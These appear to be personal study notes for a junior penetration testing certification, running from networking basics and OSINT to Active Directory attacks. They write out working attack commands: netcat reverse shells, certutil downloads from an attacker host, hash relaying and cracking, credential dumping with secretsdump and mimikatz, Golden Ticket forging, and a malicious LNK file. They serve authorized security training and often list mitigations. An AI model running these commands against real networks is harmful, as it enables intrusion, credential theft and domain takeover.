Practical Junior Penetration Tester (PJPT) Certification

Types of pentest assessments:

- External Network Pentest.
  - Hacking in from the outside using Open Source Intelligence (OSINT).
  - Can be required for compliance.
  - Cheaper than larger scope assessments.
- Internal Network Pentest.
  - Heavy focus on AD attacks.
- Web Application Pentest.
  - Web-based attacks and Open Web Application Security Project (OWASP) guidelines.
  - OWASP top 10 attacks!
- Wireless Network Pentest.
  - Method depends on the type of network.
  - Straightforward. Use wireless network adapter.
  - Use packet injection.
- Physical Pentest & Social Engineering.
  - Method depends on the task and goals.
  - Phishing campaign.
- Mobile Penetration Testing.
- IoT Penetration Testing.
- Red Team Engagements.
- Purple Team Engagements.
- Etc...

Report Writing:

- Typically delivered within a week after the engagement.
- Highlight technical and non-technical findings.
- Recommendations for remediation.

Debrief:

- Walking through report findings, both technical and non-technical.
- Opportunity for the client to ask questions and express concerns.
- Finalize report after the debrief.

Networking

IP Addresses

Mainly communicate over Layer 3 (Router).
IPv4 32 bit
IPv6 128 bit

MAC Addresses

MAC Address is in Layer 2, related to switching.
First 3 pairs in MAC address are idenifiers.

TCP & UDP

Layer 4.
Transmission Control Protocol (TCP), very reliable. Connection.

- HTTP(S)
- SSH
- RDP
- `SYN -> SYN ACK -> ACK` *(Three way handshake)*

User Datagram Protocol (UDP), less reliable but fast. No connection.

- Media streeaming

Common ports and protocols

TCP:

- FTP (21)
- SSH (22)
- Telnet (23)
- SMTP (25)
- DNS (53)
- HTTP/HTTPS (80/443)
- POP3 (110)
- SMB (139 & 445)
- IMAP (143)

UDP:

- DNS (53)
- DHCP (67 & 68)
- TFTP (69)
- SNMP (161)

OSI-Model

Layer 1 - Physical, *cables*
Layer 2 - Data, *switching, MAC addresses*
Layer 3 - Network, *routing, IP addresses*
Layer 4 - Transport, *TCP & UDP*
Layer 5 - Session, *session management*
Layer 6 - Presentation, *JPEG, MOV, etc...*
Layer 7 - Application, *HTTP, SMB, FTP, etc...*

Subnetting

netmask gives subnet.
255.255.255.0 is common /24 network.
11111111.11111111.11111111.00000000
x = #flipped on bits, /x network.
Just consider the binary representation for each octet.

Network ID - First Address
Broadcast IP - Last Address

The Five Stages of Ethical Hacking

Reconnaissance

Passive:

- Looking for information on the internet.

Active:

- Use tools

Scanning & Enumeration

Nmap, Nessus Nikto, etc.

Enumeration:

- Looking for value in found items.
- E.g. looking for outdated things running on an open port.

Exploitation

Running an exploit to try to gain access using what was found in the previous phase.

Maintain Access

Repeat the previous process and make sure you keep the access you have

Covering Tracks

Remove all uploaded malware and clean up on every action you took.

Information Gathering (Reconnaissance [Passive])

Good source for sources: https://osintframework.com/

Passive Reconnaissance

Physical/Social:

- Location info
    - Satellite images

-
    - Drone recon
    - Building layout (blueprints)
- Job Information:
    - Employees (name, title, phone number, manager, ...)
    - Pictures (badge photos, desk photos, computer photos, ...)

Web/Host:

- Target Validation
- Finding Subdomains
- Fingerprinting
- Data Breaches

Identifying our target

bugcrowd.com

Discovering Email Addresses (E-Mail OSINT)

Looking for contact information online.

- hunter.io
    - Find patterns in e-mail address structure.
    - Select departments
- Phonebook.cz
    - Get e-mail from URL
    - Also domains and urls from URL.
- voilanorbert.com
    - Same as hunter.io
- Clearbit (Only in chrome)
    - Finds people
    - Sort by role
    - Sort by seniority

Verifying e-mail addresses.

- tools.verifyemailaddress.io (email hippo)
- email-checker.net/validate

Use "forgot password" to find more data (possibly other e-mails)

Steps:

- Google
- hunter.io/Phonebook.cz/Clearbit
- Verify

Use found data to password spray.

Gathering breached credentials with Breach-Parse (Password OSINT)

github.com/hmaverickadams -> breach-parse (not required to install, useful tool!)

Alternate capitals when you observe patterns for credential stuffing.

Hunting breached credentials with DeHashed (Password OSINT)

dehashed.com

- Search by known intel, eg. e-mail addresses, username, password, ...

hashes.org

- Search hashes

Hunting subdomains

Use tools to find different subdomains (that maybe shouldn't be available).

sublist3r (install on kali!!!)

- Looks through searchengines to find subdomains

crt.sh (website)

- Uses certificate fingerprinting

Other tools for kali:

- owasp amass
- tomnomnom httprobe

Identifying website technologies

You may be able to exploit vulnerabilities in the tech that is being ran.

builtwith.com

- Lookup websites and looks at what tech is running, eg. frameworks

wappalyzer (firefox extension install on kali!!!)

- Go to website and get an indication

whatweb

- Command in kali terminal
- Give a url and find the tech that the website uses and gives headers

Information gathering with BurpSuite

Built into kali

BurpSuite is a web-proxy, meaning it intercepts traffic.

Set up firefox to utilize BurpSuite.

- Go to https://burp and click CA Certificate.
- Add certificate to firefox.

You can modify traffic in BurpSuite

In the target you can find all different traffic.

- Clicking on the website gives you more information on what's on the page
- Possibly server names, etc.

Utilizing social media

Images are useful

- linkedin
- twitter
- instagram

Use earlier gleaned formatting to possibly determine e-mails.

Then password spray using weak passwords against these e-mails.

Information Gathering (Reconnaissance [Active])

Scanning with nmap

Use netdiscover to find other ip's on network.

- `netdiscover -r xxx.xxx.xxx.0/24`

nmap:

- `nmap -sS` (Stealth scanning [not actually stealthy])
- `SYN SYNACK RST`
- `nmap -T4 -p- -A`
  - `-T4`: Speed between 1-5, 4 is a choice
  - `-p-`: Scan all ports
    - Removing scans top 1000 ports.
    - `-p 80,443,53`: Scan specific port range
  - `-A`: Everything, all data you can find
- Host discovery
  - `-sn`
  - `-pN`
- Scan techniques
  - `-sS`
  - `-sU` (UDP scan)
- `-sV`: Spen ports for service info
- `-sC`: Script scanning
- `-O`: OS detection

First finding open ports, then getting intel on them is generally a good idea for speed.

Enumeration HTTP/HTTPS

Attacking SMB and HTTP/HTTPS is usually a good first step.

Visit webpage if port 80 (HTTP) or port 443 (HTTPS) is exposed.

nikto:

- Web vulnerbility scanner
- Can be frequently autoblocked by websites
- `nikto -h xxx.xxx.xxx.xxx`
  - `-h`: host

dirbuster/dirb/gobuster for directory busting

gobuster:

- `gobuster dir -u http://[url] -w /usr/share/dirbuster/wordlists/[wordlist]`

dirbuster:

- Enter url: http://xxx.xxx.xxx.xxx:80/
- Choose list: /usr/share/dirbuster/...
- Enter file extension: php,txt,zip,pdf

burpsuite:

- Repeater to find response in realtime and modify your requests.

View sourcecode

Find share:

- `showmount -e xxx.xxx.xxx.xxx`
- `mkdir /mnt/[dirname]`
- `cd /mnt/[dirname]`
- `sudo mount -t [name] xxx.xxx.xxx.xxx:/srv/[name] /mnt/[dirname]`

Enumeration SMB

Metasploit

- `msfconsole`
  - smb_version detection
- smbclient
  - `smbclient \\\\\\\\xxx.xxx.xxx.xxx\\\\`

Enumeration SSH

ssh

- `ssh xxx.xxx.xxx.xxx -oKexAlgorithms=+... oHostKeyAlgorithms=+... -c ...`

Possibly exposes a banner.

Enueration DNS

Check dns server for domains:

- `dnsrecon -r 127.0.0.0/24 -n xxx.xxx.xxx.xxx -d domain`
- `nslookup 127.0.0.xxx -d xxx.xxx.xxx.xxx`
- `sudo nano /etc/hosts`

Vulnerability research

Google!

- Rapid7
- Exploit Database

If not

- searchsploit ...

Exploitation

Shell access

Shell is access to a machine

Reverse shell

- victim connects to us

Bind shell

- we connect to the target

netcat

- reverse
  - `nc -lvp 4444`
  - `nc xxx.xxx.xxx.xxx -e /bin/sh`
- bind
  - `nc xxx.xxx.xxx.xxx`
  - `nc -lvp 4444 -e /bin/sh`

Staged vs Non-Staged payloads

A payload is what we run as an exploit

Non-staged send shellcode all at once. Staged sends it in stages.

Brute force

hydra

- `hydra -l [user] -P /usr/share/wordlists/metasploit/... ssh://xxx.xxx.xxx.xxx -t [threads]`

Can also use metasploit or burpsuite.

Privilege Escalation

linpeas

- Looks for privilege escalation possibilities.
- Put in `/tmp/` folder
- After moving `linpeas.sh` (native on kali) to target, make executable: `chmod +x linpeas.sh`
- Execute `linpeas.sh`

winpeas

- Looks for privilege escalation possibilities
- Put in writeable folder
  - `certutil.exe -urlcache -f "http://xxx.xxx.xxx.xxx/winPEASx64.exe" winpeas.exe`
- `winpeas.exe`

If you can upload something, try to upload a reverse shell script while listening to see if it runs.

Use `pspy` to find running processes.

On processes that run periodically: try edit the process to include a 1-line reverse shell.

Cracking zips quickly:

- `fcrackzip`
  - `fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt [zipfile]`

Local file inclusion exploit can lead to information disclosure.

GTFOBins

- Privilege escalation website

Simple shell to fully interactive shell

- ttyshell
  - `python -c 'import pty; pty.spawn("/bin/bash")'`

Attacking active directory

Initial attack vectors

Usually drop off a device to simulate breaking into the network of a client.

LLMNR Poisoning

LLMNR Link Local Multicast Name Resolution

Used to ID hosts when DNS fails to do so, previously NBT-NS.

Key flaw is that capturing traffic gives us a name and hash. (Man in the middle attack)

Steps:

- Edit and run responder
  - `sudo mousepad /etc/responder/Responder.conf` *(Make sure all options are on)*
  - `sudo responder -I eth0 -dPv` on vpn `sudo responder -I tun0 -dPv`
- An event occurs...
- Get dem hashes
- Crack dem hashes
  - `hashcat -m [mode] ~/hashes/hashes.txt usr/share/wordlists/rockyou.txt`
  - If hash already cracked:
    - `hashcat -m [mode] ~/hashes/hashes.txt usr/share/wordlists/rockyou.txt --show`
  - If doesn't work *(only if on VM)*:
    - `hashcat -m [mode] ~/hashes/hashes.txt usr/share/wordlists/rockyou.txt --force`
  - On metal, always run:
    - `hashcat -m [mode] ~/hashes/hashes.txt usr/share/wordlists/rockyou.txt -O`

Mitigation:

- Disable LLMNR & NBT-NS in group policy
- If not possible:
  - Require Network Access Control
  - Require strong user passwords

SMB relay attacks

Instead of capturing hash with responder, relay it with SMB.

- SMB signing must be disabled or not enforced on the target.
- Relayed user credentials must be admin on machine for any real value.
- Can't relay to yourself, you have to relay to a different machine.

Steps:

- Identify hosts without smb signing
  - `nmap --script=smb2-security-mode.nse -p445 xxx.xxx.xxx.0/24` *(Add -Pn for better probing)*
- Edit and run responder
  - `sudo mousepad /etc/responder/Responder.conf` *(Make sure HTTP & SMB are off)*
  - `sudo responder -I eth0 -dPv` on vpn `sudo responder -I tun0 -dPv`
- Setup ntlmrelayx
  - `sudo ntlmrelayx.py -tf targets.txt -smb2support --no-wcf-server --no-raw-server --no-winrm-server --no-rpc-server`
- An event occurs...

- Win
- Other wins
  - `nc 127.0.0.1 11000`
  - `sudo ntlmrelayx.py -tf targets.txt -smb2support -i` *(Get interactive shell)*
  - `sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"` *(Run commands)*

Mitigation:

- Enable SMB signing on all devices
- Disable NTLM authentication on network
- Account tiering
  - Limit domain admins to specific tasks (least privilege)
- Local admin restriction
  - This attack is non-viable without local admin rights

Gaining shell access

Metasploit - with password

- `use exploit/windows/smb/psexec`
  - `set payload windows/x64/meterpreter/reverse_tcp`
  - `show targets` can be useful

Metasploit - with hash

- `use exploit/windows/smb/psexec`
  - `set payload windows/x64/meterpreter/reverse_tcp`
  - `show targets` can be useful

psexec.py - with password

- `impacket-psexec marvel.local/fcastle:'P@$$w0rd!'@xxx.xxx.xxx.xxx`

psexec.py - with hash

- `impacket-psexec administrator@xxx.xxx.xxx.xxx -hashes LM:NT`

Alternatives to `psexec`, use `wmiexec` or use `smbexec`.

IPv6 attacks

Abuse that noone does DNS for IPv6 if devices use IPv4.

We can play the role of DNS for IPv6.

Get SMB or LDAP access to Domain Controller.

We can relay NTLM through LDAP to the DC.

This is called Man in the Middle 6 *(MitM6)*.

Steps:

- Setup `ntlmrelayx.py`
    - `ntlmrelayx.py -6 -t ldaps://[DC-ip] -wh fakewpad.marvel.local -l lootme`
- Launch MitM6
    - `sudo mitm6 -d [domain]`
- Now collect ye plunder in `lootme`
- Look for outdated devices to easily exploit in `domain_computers.html`
- Look at `domain_users_by_group.html` to identify targets
    - Check out descriptions!

Mitigation:

- Disable IPv6 internally *(Bad idea)*
- Issue blocks:
    - (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-In)
    - (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
    - (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-Out)
- Disable WPAD *(If not internally in use)* by disabling the `WinHttpAutoProxySvc`
- Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding
- Consider adding Administrative users to the Protected Users group or marking them as sensitive and not to be delegated, which will prevent any impersonation of that user via delegation.

Passback attacks

Access to something that connects to LDAP or does an SMB connection. *(printers, eg.)*

Changing LDAP to attacker IP address and setting up listener sends the password in cleartext, even if the password is obfuscated in the text.

Initial Internal Attack Strategy

Enumeration is the most important thing!!!

Begin the day with `mitm6` or `responder`.

Run scans to generate traffic, nessus, nmap, etc.

If scans take too long, look for websites in scope.

Look for default credentials on web logins

- Printers
- Jenkins
- Etc...

Think outside the box 😃

If nothing works and everything looks good, ask the client to possibly create credentials for us.

Post-Compromise AD Enumeration

Get more information when you have an account.

Quick enumeration methods:

- ldapdomaindump
- Bloodhound
- Plumhound
- PingCastle

ldapdomaindump

MitM6 does this automatically

Steps:

- Make a directory and `cd` into it.
  - `mkdir [domain]`
- Execute command with compromised account:
  - `sudo python3 /usr/local/bin/ldapdomaindump ldaps://[DC-ip] -u '[user]' -p '[password]'`
- Profit!

Bloodhound

Steps:

- `cd /opt/bloodhound`
- Start docker
  - `sudo dockerd`
- Start bloodhound
  - `sudo docker-compose up`
  - `sudo docker-compose pull && sudo docker-compose up` *(If experiencing issues)*
- Go to `http://localhost:8080/ui`
- Collect data
  - `sudo bloodhound-python -d [domain] -u '[user]' -p '[password]' -ns [DC-ip] -c all`

Plumhound

Steps:

- Have Bloodhound up
- Test
  - `sudo python3 PlumHound.py --easy -p bloodhoundcommunityedition`
- Get reports
  - `sudo python3 PlumHound.py -x tasks/default.tasks -p bloodhoundcommunityedition`
- `cd reports`
- `firefox index.html`

Post-Compromise Attacks

What do we do after we have an account?

Pass the Password / Pass the Hash

Leverage password or hass and pass it around the domain.

Utilize `crackmapexec`.

Use:

- `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -d [Domain] -p [password]`

Get hashes:

- Through metasploit meterpreter hashdump
- `secretsdump.py [Domain]/[user]:[password]@xxx.xxx.xxx.xxx`

Use:

- `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth`
- Dump SAM
  - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth --sam`
- Enumerate shares
  - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth --shares`
- Dump LSA
  - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth --lsa`
- Dump lsass
  - `crackmapexec smb xxx.xxx.xxx.0/24 -u [user] -H [hash] --local-auth -M lsassy` *(Can give hashes not in secretsdump)*

Use `cmedb` to look at all crackmapexec uses and credentials.

secretsdump is useful to dump all secrets on a device. **Use this on every machine.** Then respray the network with new local accounts and continue this process.

- Password
  - `secretsdump.py [Domain]/[user]:'[password]'@xxx.xxx.xxx.xxx`
- Hash
  - `secretsdump.py [user]:@xxx.xxx.xxx.xxx -hashes [hash]`

Mitigations:

- Limit account re-use
- Utilize strong passwords
- Privilege Access Management
- LAPS

Kerberoasting

Ticket granting service is encrypted with the server's account hash.

Steps:

- Dump the hash
  - `sudo python3 /home/kali/.local/bin/GetUserSPNs.py [Domain]/[user]:'[password]' -dc-ip [DC-ip] -request`
- Crack that hash
  - `hashcat -m 13100 [hash file] [wordlist]`

Mitigations:

- Strong passwords
- Least privilege
  - Service accounts should **not** be domain admin

Token Impersonation

Two types of tokens:

- Delegate
  - Created for logging into a machine or using RDP
- Impersonate
  - "non-interactive" such as attaching a network drive or a domain logon script

We can attempt to dump hashes as a non-domain admin.

If we have an admin, we can impersonate the user and dump hashes on the DC.

We can create a domain admin to our domain and use that user to compromise the DC using secretsdump.

Steps: *(Can use other tools, like mimikatz)*

- `msfconsole`
- Get a meterpreter shell
  - `search psexec`
  - `use exploit/windows/smb/psexec`
- `load incognito`
- `list_tokens -u`
- `impersonate_token [Domain]\\[user]`
- Stop impersonation:
  - `rev2self`
- When impersonating a DA
  - `shell`
  - `net user /add [user] [password] /domain`
  - `net group "Domain Admins" hawkeye /ADD /DOMAIN`
  - Can now `secretsdump` the DC with this user.

Mitigations:

- Limit user/group token creation permission
- Best practices:
  - Account tiering

    - Local admin restriction

LNK File Attacks

Set up a watering hole.

Dump a malicious file into a file share by entering commands in powershell:

- `$objShell = New-Object -ComObject WScript.shell`
- `$lnk = $objShell.CreateShortcut("C:\test.lnk")`
- `$lnk.TargetPath = "\\[Attacker ip]\@test.png"`
- `$lnk.WindowStyle = 1`
- `$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"`
- `$lnk.Description = "Test"`
- `$lnk.HotKey = "Ctrl+Alt+T"`
- `$lnk.Save()`
- Edit the file name to include an `@` symbol as its first symbol.

If responder is up and the file is loaded we can capture a hash.

- `sudo responder -I eth0 -dPv`

Can also use `netexec` or `crackmapexec` to do this:

- `netexec smb xxx.xxx.xxx.xxx -d [Domain] -u [user] -p [password] -M slinky -o NAME=test SERVER=[Attacker ip]`

GPP Attack (cPassword Attacks)

The key to cPassword was accidentally released. Patched in MS14-025, but it doesn't prevent previous uses.

Given a cPassword hash you can do the following

- `gpp-decrypt [hash]`

Given credentials, use metasploit `search gpp` with valid domain credentials.

Mitigations:

- Patch!
- Delete the old GPP xml files stored in the SYSVOL

Mimikatz

Tool used to view and steal credentials, generate Kerberos tickets and leverage attacks.

Will get picked up by anti-virus.

Dump credentials stored in memory.

Many options:

- Credential dumping

- Pass-the-Hash
- Over-Pass-the-Hash
- Pass-the-Ticket
- Silver Ticket
- Golden Ticket

This will get picked up by antivirus

Steps

- Host http server to download files to device
  - `python3 -m http.server 80` in mimikatz directory
  - Get a shell on device
  - `certutil.exe -urlcache -f "http://[attacker-url]/mimikatz.exe" mimikatz.exe` in writeable folder
- Execute `mimikatz.exe`
- `privilege::` -> `privilege::debug`
- `sekurlsa::logonPasswords`

Post-Compromise Attack Strategy

We have an account, now what?

- Quick wins!
  - Kerberoasting
  - secretsdump
  - Pass the Hash / Pass the Password
- No quick wins? Dig deep!
  - Enumerate (Bloodhound, ldapdomaindumps, etc.)
  - Where does your account have access?
    - File shares, look at sensitive files!
    - Login to different areas
  - Old vulnerabilities die hard
- Think outside the box!

We've compromised the Domain - Now What?

Provide as much value to the client as possible

- Put your blinders on and do it again
- Dump the `NTDS.dit` and crack passwords
- Enumerate shares for sensitive information

Persistence can be important

- What happens if our DA access is lost?
- Creating a DA account can be useful **(Do not forget to delete it)**
- Creating a Golden Ticket can be useful too

Dump the NTDS.dit

This is a database used to store AD data

Use secretsdump against the DC with a known DA credential.

- `secretsdump.py [Domain]/[user]:'[password]'@[DC-ip]`
- `secretsdump.py [Domain]/[user]:'[password]'@[DC-ip] -just-dc-ntlm`
- Crack dem hashes!

Golden Ticket Attacks

When we compromise the krbtgt account, we own the domain.

- Grants Kerberos tickets
- We can request access to any resource or system on the domain
- Golden Tickets = Completes access to every machine

Use mimikatz

- Perform an `lsadump`.
- Needed:
  - krbtgt NTLM hash
  - krbtgt S-ID
- With golden ticket, act as any machine.

Steps:

- Run `mimikatz.exe` on the DC
- `privilege::debug`
- `lsadump::lsa /inject /name:krbtgt`
  - Copy S-ID
  - Copy NTLM hash
- `kerberos::golden /User:Administrator /domain:[domain] /sid:[sid example: S-1-5-21-4072630234-3903147458-2387749885] /krbtgt:[hash] /id:500 /ptt`
- Load `psexec.exe` to the DC
- `psexec.exe \\[target ip] cmd.exe`

Additional Active Directory Attacks

Recent and relevant vulnerabilities. Only use these as a last measure as they can bring down the entire domain.

Ask yourself:

- Should I run this attack?
  - ZeroLogon (NO!)
  - PrintNightmare
  - Sam the Admin
- Run checkers on these exploits

Zero Logon (CVE-2020-1472)

Attack domain controller, set the password to `null` and take over the DC. If you do not restore the password, you break the DC.

Steps (to check):

- `cd /opt/ZeroLogonTester/CVE-2020-1472`
- `python3 zerologon_tester.py [DC name] [DC ip]`

PrintNightmare (CVE-2021-1675)

Check for vulnerability:

- `rpcdump.py @[DC ip] | egrep 'MS-RPRN|MS-PAR'`

AD Case Study Notes

AD Case Study 1

Sometimes you don't need domain accounts to compromise the domain controller.

AD Case Study 2

Look for initial access using default credentials, possibly on websites. Maybe there is even a password in cleartext?

Look for old devices which may have WDigest enabled on them!

AD Case Study 3

Look into file shares, especially if someone has permission to many file shares!

KEEP ENUMERATING!